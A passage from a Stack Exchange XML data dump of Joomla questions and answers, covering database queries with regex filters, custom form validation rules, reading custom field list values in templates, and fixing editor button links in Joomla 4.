]);&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if ($results = $db-&amp;gt;loadAssocList())&#xA;    {&#xA;        echo &quot;&amp;lt;table&amp;gt;&quot;;&#xA;            // display Topic and Note as column headings&#xA;            echo &quot;&amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;&quot; , implode(&quot;&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;&quot;, array_keys($results[0])) , &quot;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            // display rows of data&#xA;            foreach ($results as $row)&#xA;            {&#xA;                echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&quot; , implode(&quot;&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;&quot;, $row) , &quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;            }&#xA;        echo &quot;&amp;lt;/table&amp;gt;&quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        echo &quot;No Notes&quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output will be like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__________________________________________________________________&#xA;|    Topic    |    Note                                          |&#xA;|-------------|--------------------------------------------------|&#xA;|  Feedback1  |  I loved the way you did my laundry.             |&#xA;|-------------|--------------------------------------------------|&#xA;|  Feedback2  |  Perhaps I can interest you in my dry cleaning.  |&#xA;------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-09T06:39:07.167" LastActivityDate="2019-02-09T06:39:07.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24188" PostTypeId="2" ParentId="21063" CreationDate="2019-02-01T08:24:07.353" Score="0" Body="&lt;p&gt;I would like to refine the OP's solution edited into the question.  So that researchers can compare and understand what is happening.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn([&quot;id&quot;, &quot;last_name&quot;, &quot;first_name&quot;])&#xA;    -&amp;gt;from($db-&amp;gt;qn(&quot;#__my_table&quot;))&#xA;    -&amp;gt;where($db-&amp;gt;qn(&quot;last_name&quot;) . &quot; REGEXP &quot; . $db-&amp;gt;q(&quot;^[^a-zα-ω]&quot;))&#xA;    -&amp;gt;order($db-&amp;gt;qn([&quot;last_name&quot;, &quot;first_name&quot;]))&#xA;    -&amp;gt;setLimit((int)$limit, (int)$offset);&#xA;$db-&amp;gt;setQuery($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I don't know that you need &lt;code&gt;clear()&lt;/code&gt; so I'm removing it.&lt;/li&gt;&#xA;&lt;li&gt;I have added all of the unnecessary &lt;code&gt;qn()&lt;/code&gt; calls that Joomla Standards demands.&lt;/li&gt;&#xA;&lt;li&gt;Your regex logic seeks rows that do not start with your two ranges of letters.  To write a &quot;negated character class, use &lt;code&gt;^&lt;/code&gt; just after the &lt;code&gt;[&lt;/code&gt;. Inside of a character class you do not use pipes to separate character ranges, just put them side by side.&lt;/li&gt;&#xA;&lt;li&gt;By using a negated character class, you can drop the &lt;code&gt;NOT&lt;/code&gt; from before &lt;code&gt;REGEXP&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The default sorting direction is &lt;code&gt;ASC&lt;/code&gt;, so you can omit that declaration from your query.&lt;/li&gt;&#xA;&lt;li&gt;You have your start and limit parameters reversed.  The limit should come before the offset.&#xA;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JDatabaseQueryLimitable.html#method_setLimit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JDatabaseQueryLimitable.html#method_setLimit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastActivityDate="2019-02-01T08:24:07.353" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24189" PostTypeId="1" CreationDate="2019-02-01T10:34:36.557" Score="0" ViewCount="443" Body="&lt;p&gt;It will try to include new rules to validate the fields of a form and it does not work. I can not even get messages on the screen. Am I missing something in the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;form addrulepath=&quot;/administrator/components/com_mycomponent/models/rules&quot;&amp;gt;&#xA;    &amp;lt;field &#xA;        name=&quot;custom_price&quot; &#xA;        label=&quot;Price&quot; &#xA;        description=&quot;Type price&quot; &#xA;        type=&quot;text&quot; &#xA;        validate=&quot;CustomNumber&quot;&#xA;        required=&quot;true&quot;&#xA;        message=&quot;Custom validation messsage&quot;&#xA;    /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the /rules directory I have included a file with the name &quot;Custom&quot;, which includes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormRuleCustomNumber extends JFormRule&#xA;{&#xA;    public function test(SimpleXMLElement $element, $value, $group = null, JRegistry $input = null, JForm $form = null)&#xA;    {&#xA;        if ($value &amp;lt; 1) {&#xA;            $element-&amp;gt;attributes()-&amp;gt;message = 'The value ' . $value . ' is not valid because it is less than 1';&#xA;            return false;&#xA;        }&#xA;&#xA;        if ($value &amp;gt; 1000) {&#xA;            $element-&amp;gt;attributes()-&amp;gt;message = 'The value ' . $value . ' is not valid because it is greater than 1000';&#xA;            return false;&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing some code? Why do not you even access the file inside &lt;code&gt;/rules&lt;/code&gt;? Please, if there is any other way to validate on the server side I would appreciate it, thanks&lt;/p&gt;&#xA;" OwnerUserId="12303" LastActivityDate="2023-10-08T20:02:30.253" Title="Form validation in Joomla with form rules doesn't work" Tags="|jform|fields|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24190" PostTypeId="2" ParentId="24189" CreationDate="2019-02-01T13:59:44.970" Score="1" Body="&lt;p&gt;The filename must be lowercase and match the name of the rule (not including casing). So rename &lt;code&gt;Custom.php&lt;/code&gt; to &lt;code&gt;customnumber.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the message through &lt;code&gt;$element-&amp;gt;attributes()-&amp;gt;message&lt;/code&gt; doesn't work for me. &lt;code&gt;$element['message']&lt;/code&gt; works. But the recommended way to handle validation error is to return an Exception:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($value &amp;lt; 1)&#xA;{&#xA;    return new UnexpectedValueException('The value ' . $value . ' is not valid because it is less than 1');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-02-01T13:59:44.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24191" PostTypeId="1" AcceptedAnswerId="24192" CreationDate="2019-02-01T14:44:40.313" Score="0" ViewCount="1295" Body="&lt;p&gt;Using joomla! 3.9.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an article custom field, type List with the ID 14. &#xA;The List values are below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ATHaQ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ATHaQ.jpg&quot; alt=&quot;list values&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Text  -  Value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1     =  335,538,353,559&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2     =  390,538,408,559&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to pull the Value of the option 1 into a custom blog_item.php template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had success getting the text value with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields['14']-&amp;gt;value; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try to get the rawvalue the output is Array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the custom field in the the article has 1 selected in the dropdown select how can I output the value 335,538,353,559 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php var_dump($this-&amp;gt;item-&amp;gt;jcfields['14']); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;=&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#1724 (32) { [&quot;id&quot;]=&amp;gt; string(2) &quot;14&quot; [&quot;title&quot;]=&amp;gt; string(18) &quot;Select Desk Number&quot; [&quot;name&quot;]=&amp;gt; string(16) &quot;selectdesknumber&quot; [&quot;checked_out&quot;]=&amp;gt; string(3) &quot;465&quot; [&quot;checked_out_time&quot;]=&amp;gt; string(19) &quot;2019-02-01 14:02:34&quot; [&quot;note&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;state&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;access&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;created_time&quot;]=&amp;gt; string(19) &quot;2019-01-24 08:13:33&quot; [&quot;created_user_id&quot;]=&amp;gt; string(3) &quot;465&quot; [&quot;ordering&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;language&quot;]=&amp;gt; string(1) &quot;*&quot; [&quot;fieldparams&quot;]=&amp;gt; object(Joomla\Registry\Registry)#1644 (3) { [&quot;data&quot;:protected]=&amp;gt; object(stdClass)#1647 (2) { [&quot;multiple&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;options&quot;]=&amp;gt; object(stdClass)#1649 (2) { [&quot;options0&quot;]=&amp;gt; object(stdClass)#1648 (2) { [&quot;name&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;value&quot;]=&amp;gt; string(15) &quot;335,538,353,559&quot; } [&quot;options1&quot;]=&amp;gt; object(stdClass)#1650 (2) { [&quot;name&quot;]=&amp;gt; string(1) &quot;2&quot; [&quot;value&quot;]=&amp;gt; string(15) &quot;390,538,408,559&quot; } } } [&quot;initialized&quot;:protected]=&amp;gt; bool(true) [&quot;separator&quot;]=&amp;gt; string(1) &quot;.&quot; } [&quot;params&quot;]=&amp;gt; object(Joomla\Registry\Registry)#1646 (3) { [&quot;data&quot;:protected]=&amp;gt; object(stdClass)#1652 (9) { [&quot;class&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;label_class&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;show_on&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;render_class&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;showlabel&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;label_render_class&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;display&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;layout&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;display_readonly&quot;]=&amp;gt; string(1) &quot;2&quot; } [&quot;initialized&quot;:protected]=&amp;gt; bool(true) [&quot;separator&quot;]=&amp;gt; string(1) &quot;.&quot; } [&quot;type&quot;]=&amp;gt; string(4) &quot;list&quot; [&quot;default_value&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;context&quot;]=&amp;gt; string(19) &quot;com_content.article&quot; [&quot;group_id&quot;]=&amp;gt; string(1) &quot;4&quot; [&quot;label&quot;]=&amp;gt; string(18) &quot;Select Desk Number&quot; [&quot;description&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;required&quot;]=&amp;gt; string(1) &quot;0&quot; [&quot;language_title&quot;]=&amp;gt; NULL [&quot;language_image&quot;]=&amp;gt; NULL [&quot;editor&quot;]=&amp;gt; string(13) &quot;Authorname&quot; [&quot;access_level&quot;]=&amp;gt; string(6) &quot;Public&quot; [&quot;author_name&quot;]=&amp;gt; string(13) &quot;Authorname&quot; [&quot;group_title&quot;]=&amp;gt; string(22) &quot;Floor Plan - 3rd Floor&quot; [&quot;group_access&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;group_state&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;group_note&quot;]=&amp;gt; string(0) &quot;&quot; [&quot;value&quot;]=&amp;gt; string(1) &quot;1&quot; [&quot;rawvalue&quot;]=&amp;gt; array(1) { [0]=&amp;gt; string(15) &quot;335,538,353,559&quot; } }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;*updated to show jcfields instead of jcFields.&lt;/p&gt;&#xA;" OwnerUserId="8606" LastEditorUserId="8606" LastEditDate="2019-02-01T16:10:35.663" LastActivityDate="2019-02-01T21:20:56.443" Title="Get custom field list option value in template override blog_item.php" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24192" PostTypeId="2" ParentId="24191" CreationDate="2019-02-01T15:22:08.863" Score="2" Body="&lt;p&gt;List custom field stores the value as an array to support multiple values. Access the first element of &lt;code&gt;rawvalue&lt;/code&gt; to get the value you expect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $item-&amp;gt;jcfields['14']-&amp;gt;rawvalue[0]; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use &lt;code&gt;implode()&lt;/code&gt; to display all values, in case the field has multiple values enabled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo implode('|', $item-&amp;gt;jcfields['14']-&amp;gt;rawvalue); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or run a loop to show each value individually:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($item-&amp;gt;jcfields['14']-&amp;gt;rawvalue as $value) : ?&amp;gt;&#xA;    &amp;lt;?php echo $value . '&amp;lt;br&amp;gt;'; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-02-01T21:20:56.443" LastActivityDate="2019-02-01T21:20:56.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24193" PostTypeId="1" AcceptedAnswerId="24194" CreationDate="2019-02-01T19:17:05.733" Score="2" ViewCount="400" Body="&lt;p&gt;I'm trying to update my extension for Joomla 4 alpha. It adds a button in the editor that calls a dialog file in a popup window.&#xA;The link is triggered like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;set('link', '../plugins/editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=' . $name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine in Joomla 3.x, but in Joomla 4, the link in the button is transformed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://mydomain.com/administrator/../plugins/editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=jform_articletext&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It adds &lt;strong&gt;administrator/&lt;/strong&gt; in front of the link. Since insertmystuff is not in the administrator folder but in the plugins folder, the link is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I change the code in such a way that it doesn't add administror/ ?&#xA;I tried with this as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;set('link', '../../plugins/editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=' . $name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that creates a 404 and it redirects to the home page in the popup window instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Thanks beforehand. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;The complete code of the file is like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined( '_JEXEC' ) or die( 'Restricted access' );&#xA;jimport( 'joomla.plugin.plugin' );&#xA;&#xA;class plgButtonInsertS3Media extends JPlugin&#xA;{&#xA;&#xA;    function plgButtonInserthtmlex( &amp;amp;$subject, $config )&#xA;    {&#xA;        parent::__construct( $subject, $config );&#xA;    }&#xA;&#xA;    function onAfterInitialise()&#xA;    {&#xA;    }&#xA;&#xA;    function onDisplay($name) // $name: Editor Element ID&#xA;    {&#xA;        $mainframe = JFactory::getApplication();&#xA;&#xA;        $button = new JObject();&#xA;&#xA;        $doc = JFactory::getDocument();&#xA;        $template = $mainframe-&amp;gt;getTemplate();&#xA;        if ( $mainframe-&amp;gt;isSite() ) {&#xA;            $enable_frontend = $this-&amp;gt;params-&amp;gt;get(&quot;enablefrontend&quot;);&#xA;            if ( $enable_frontend == 0) {&#xA;                return $button;&#xA;            }&#xA;        }&#xA;&#xA;        $lang = JFactory::getLanguage();&#xA;        $lang-&amp;gt;load('plg_editors-xtd_inserts3media', JPATH_SITE . DS . 'administrator');&#xA;        $this-&amp;gt;loadLanguage();&#xA;&#xA;&#xA;        $js = &quot;function S3Media_InsertCallback( editor, result )&#xA;                {&#xA;                if( result ) {&#xA;                    jInsertEditorText(result, editor);&#xA;                    }&#xA;                }&quot;;&#xA;&#xA;        $doc-&amp;gt;addScriptDeclaration($js);&#xA;&#xA;        $css = &quot; .icon-InsertS3MediaButton { background: url(../plugins/editors-xtd/inserts3media/insert_s3media/editor_button.png) 100% 0 no-repeat; } &quot;;&#xA;&#xA;        $doc-&amp;gt;addStyleDeclaration($css);&#xA;&#xA;        $button-&amp;gt;set('modal', true);&#xA;        $button-&amp;gt;set('class', 'btn');&#xA;        $button-&amp;gt;set('text', 'Insert S3 Media');&#xA;        $button-&amp;gt;set('name', 'InsertS3MediaButton');&#xA;        $button-&amp;gt;set('link', '../plugins/editors-xtd/inserts3media/insert_s3media/s3plugin_dialog.php?e_name=' . $name);&#xA;        $button-&amp;gt;set('options', &quot;{handler: 'iframe', size: {x:window.getSize().x-100, y: window.getSize().y-100}}&quot;);&#xA;&#xA;        return $button;&#xA;    }&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I tried all constants, they keeps adding domainname/administrator/in front of the constant and the part in quotes. I even tried an absolute path to the current root, it still adds that stuff. What bugs me is that it works fine in Joomla 3.9.2 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2: Additional info&lt;/strong&gt;&#xA;The plugin inserts shortcode into the editor, generated by the value of the fields in the popup window, typed in by the user and/or retrieved from the database. The output of the shortcode in the frontend is handled by the component.&lt;/p&gt;&#xA;" OwnerUserId="12679" LastEditorUserId="12679" LastEditDate="2019-02-05T10:44:59.223" LastActivityDate="2019-02-07T19:37:40.823" Title="Joomla 4 alpha - link to dialog file in editor-xtd broken" Tags="|com-plugins|joomla-4|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24194" PostTypeId="2" ParentId="24193" CreationDate="2019-02-01T20:12:39.383" Score="3" Body="&lt;p&gt;You should try to define the path with using &lt;strong&gt;Constants&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;set('link', JPATH_ROOT . '/plugins/editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=' . $name); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;or:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;set('link', JPATH_SITE . '/plugins/editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=' . $name); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can also try with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;set('link', JPATH_PLUGINS . '/editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=' . $name); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you have to check if there is double slash or full url path is created then you just delete the slash before the path string ‘/‘ like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;set('link', JPATH_PLUGINS . 'editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=' . $name); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Sometimes also works if you only just delete the slash from the beginning of the path and without a constant, do it like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;set('link', 'plugins/editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=' . $name); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And one more version which works if you are calling the path from admin, simply again with one slash:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$button-&amp;gt;set('link', '/plugins/editors-xtd/insertmystuff/insert_mystuff/mystuffplugin_dialog.php?e_name=' . $name);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It always depends on where the path is called from. Since I cannot fully see your code that is why I gave many options to try. This is how we always call path nowadays. One of them should work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE - ON JOOMLA 4 AND LINKS&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I created different kind of link examples on my frontend in Joomla 4 to test what it gives back. So these are the links:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$link1 = '/editors-xtd/insertmystuff/insert_mystuff';&#xA;$link2 = JPATH_ROOT . '/editors-xtd/insertmystuff/insert_mystuff';&#xA;$link3 = JPATH_PLUGINS . '/editors-xtd/insertmystuff/insert_mystuff';&#xA;echo '&amp;lt;br&amp;gt;This is $link1: '  . $link1;&#xA;echo '&amp;lt;br&amp;gt;This is $link2: ' . $link2;&#xA;echo '&amp;lt;br&amp;gt;This is $link3: ' . $link3; die;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is what I got back on the frontend on cassiopeia template opening page:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;This is $link1: /editors-xtd/insertmystuff/insert_mystuff&lt;/p&gt;&#xA;&lt;p&gt;This is $link2: G:\websites\joomla4/editors-xtd/insertmystuff/insert_mystuff&lt;/p&gt;&#xA;&lt;p&gt;This is $link3: G:\websites\joomla4\plugins/editors-xtd/insertmystuff/insert_mystuff&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So, you can see what the different path values are given back to me on Joomla4 front-end (in localhost so it could be sometimes different on the web). There is no any problem with Joomla4 (alpha) link path creation. Thus we have to investigate and try the different path definitions a bit further on buttons.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2 - POSSIBLE WORKAROUND&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also do not see yet where this added path defined, actually it is adding a JPATH_ADMINISTRATOR constant to your given link always. It would take more time to check this why.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;THE SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;At the moment I see one sensible workaround of your problem and it is based on &lt;strong&gt;how other editors-xtd plugins are defining their links&lt;/strong&gt; on their own buttons. It looks like that it's the more Joomla standard way. For example the &lt;strong&gt;CMS&lt;/strong&gt; &lt;strong&gt;image button&lt;/strong&gt; link:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$link = 'index.php?option=com_media&amp;amp;amp;tmpl=component&amp;amp;amp;e_name=' . $name . '&amp;amp;amp;asset=' . $asset . '&amp;amp;amp;author=' . $author;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or the &lt;strong&gt;pagebreak&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$link = 'index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;layout=pagebreak&amp;amp;amp;tmpl=component&amp;amp;amp;e_name=' . $name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And &lt;code&gt;$button-&amp;gt;set('link', $link);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Well, they just simply create it this way: &lt;code&gt;$button-&amp;gt;link = $link;&lt;/code&gt; but it does not matter.&lt;/p&gt;&#xA;&lt;p&gt;So this is what I see as a workable solution on this suddenly if you reformulate your link. If it could work for you:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;for this link approach&lt;/strong&gt; you should just move your plugin popup layout (dialog layout) file: &lt;code&gt;mystuffplugin_dialog.php&lt;/code&gt; to &lt;code&gt;yourjoomla/administrator/components/com_content/tmpl/article&lt;/code&gt; folder and your button link should be rewritten to:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$link = 'index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;layout=mystuffplugin_dialog&amp;amp;amp;tmpl=component&amp;amp;amp;e_name=' . $name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And the button link set obviously: &lt;code&gt;$button-&amp;gt;set('link', $link);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Try this and we will see how it goes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MORE APPROPRIATE SOLUTION&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;You do not have to!&lt;/strong&gt; place your plugin layout file in the com_content folder directly, with that we just tried that the above path structure is working in your 10 years old plugin button object link. As I wrote in my comment, With the above path method, you can target and get your layout from other directories too. Most importantly there is a &lt;strong&gt;layouts&lt;/strong&gt; folder in Joomla and in that folder at: &lt;code&gt;yourjoomla/layouts/joomla/content&lt;/code&gt; you can place your plugin modal layout file too and you should be able to call that with the above path structure method. Try that.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Nowadays&lt;/strong&gt; we call layout files with the following method if for example my layout file is in my plugin folder and it's called for example &lt;code&gt;mylayout.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$mypathtoLayout = JPATH_ROOT . 'plugins/com_whatever/my_genius_plugin/layouts/'&#xA;$layout      = new JLayoutFile('mylayout', $mypathtoLayout);&#xA;&#xA;// and we just render and echo the $layout&#xA;echo $layout-&amp;gt;render();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So there are a lot of possibility of adding layout to anything in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;And just because of the “very smart kids” around here (they need at least 10-15 years more in this field), I also place the link to Joomla documentation about layout sharing in Joomla across extensions.&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also would like to highlight one sentence from this doc:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;”Passing in a non-empty base path allows accessing and STORING layout files ANYWHERE on the site directory structure, for instance:...”&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And another great Joomla doc about the layout system and how and when to use them and when not to:&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:JLayout_Improvements_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:JLayout_Improvements_for_Joomla&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;And one more relevant thing about using JObject at all for buttons in plugins when you are now building an editor plugin for example, it is a BIG NO! Why? The notice about JObject getting deprecated started back in 2016 (at least). Making a button in layouts should be done with using Toolbar object (or new stdClass(); ), not JObject and not CMSObject! Link to this issue from 2016:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/12449&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/12449&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So giving an advice in 2018-19 on how to use a JObject in an editor plugin is just dumb as hell, as we all are usually. And we could continue this subject on and on but this question was just about a fast repair of a link on a button in an old editor plugin. So we can live with that. :)&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;JOOMLA BUTTON PLUGIN (EDITOR-XTD PLUGIN) - JOOMLA 4 - A NEVER-ENDING STORY&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, of course I checked a bit more the Joomla 4 editor-xtd button plugin creation and I can confirm that it is just horrible. It's just a thing that Joomla core plugins use CMSObject (deprecated) and JObject (also deprecated) for these editor-xtd plugin creations, but on the top of that, if you just define a $link to your layout which is sitting in the site (not in the administrator part of your site) it is just impossible. Since the 